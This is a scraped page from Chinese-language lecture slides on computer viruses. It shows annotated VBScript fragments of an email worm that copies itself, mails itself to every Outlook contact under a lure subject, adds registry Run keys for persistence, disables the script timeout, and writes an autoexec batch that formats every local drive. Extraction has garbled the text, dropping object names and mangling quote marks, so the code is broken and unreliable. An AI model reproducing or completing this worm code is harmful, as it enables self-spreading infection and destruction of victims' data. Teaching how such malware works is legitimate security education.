計算機病毒技術(shù)ppt課件-資料下載頁
2025-01-08 05:31本頁面
【正文】 數(shù)量增加了5倍、日最大病毒處理能力提高了 100倍、緊急病毒響應(yīng)時間縮短到 1小時以內(nèi)?！笨梢哉f云安全開創(chuàng)了計算機安全 。 48 蠕蟲病毒自我復(fù)制的部分代碼 39。創(chuàng)建一個文件對象 Set objFs = CreateObject() 39。通過文件系統(tǒng)對象的方法創(chuàng)建一個 TXT方法 c:\, 1 將上述代碼保存為 .vbs的 VB腳本文件，執(zhí)行后將在 C盤中創(chuàng)建一個 TXT文件。 執(zhí)行代碼 如將第二條語句改為： ().Copy(“c:\”) 就可以實現(xiàn)將自身復(fù)制到 C盤 執(zhí)行代碼 49 蠕蟲病毒傳播的部分代碼 39。創(chuàng)建一個 OUTLOOK應(yīng)用的對象 Set objOA=() 39。取得 MAPI名字空間 Set objMapi= (MAPI) 39。遍歷地址簿 For i=1 to Set objAddList= (i) For j=1 To objAddList. Set objMail= (0) 39。取得收件人郵件地址 (objAddList. AddressEntries (j)) 39。設(shè)置郵件主題 ,這個往往具有很大的誘惑性質(zhì) =你好 ! 50 蠕蟲病毒傳播的部分代碼 39。設(shè)置信件內(nèi)容 =這次給你的附件 ,是我的新文檔！ 39。把自己作為附件擴散出去 (c:\) 39。發(fā)送郵件 Next Next 39。清空 objMapi變量 ,釋放資源 Set objMapi=Nothing 39。清空 objOA變量 set objOA=Nothing 51 蠕蟲病毒潛伏的部分代碼 39。容錯語句，避免程序崩潰 On Error Resume Next dim wscr, rr 39。創(chuàng)建 set wscr=CreateObject() 39。讀入注冊表中的超時鍵值 rr=(HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout) if(rr=1) then 39。超時設(shè)置 HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout , 0, REG_DWORD end if 執(zhí)行代碼 52 蠕蟲病毒潛伏的部分代碼 以下代碼是修改注冊表，使得每次系統(tǒng)啟動時自動執(zhí)行腳本文件 RegCreate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSKernel32, dirsystem amp。 \ RegCreate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL, dirwin amp。 \ 53 蠕蟲病毒破壞的部分代碼 39。破壞硬盤的過程 Sub killc() 39。容錯語句，避免程序崩潰 On Error Resume Next Dim fs, auto, disc, ds, ss, i, x, dir Set fs = CreateObject() 39。建立或修改自動批處理 Set auto = (c:\, True) 39。屏蔽掉刪除的過程 (@echo off) 39。加載磁盤緩沖 (Smartdrv) 39。得到磁盤驅(qū)動器的集合 Set disc = 54 蠕蟲病毒破壞的部分代碼 For Each ds In disc 39。如果磁盤驅(qū)動器是本地盤 If = 2 Then 39。就將符號連在一起 ss = ss amp。 End If Next 39。得到符號串的反向小寫形式 ss = LCase(StrReverse(Trim(ss))) 39。遍歷每個磁盤驅(qū)動器 For i = 1 To Len(ss) 39。讀每個磁盤驅(qū)動器的符號 x = Mid(ss, i, 1) 39。反向 (從 Z:到 A:)自動格式化磁盤驅(qū)動器 (format/autotest/q/u amp。 x amp。 :) Next 55 蠕蟲病毒破壞的部分代碼 Set dir = (c:\) = + 2 End Sub
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號-1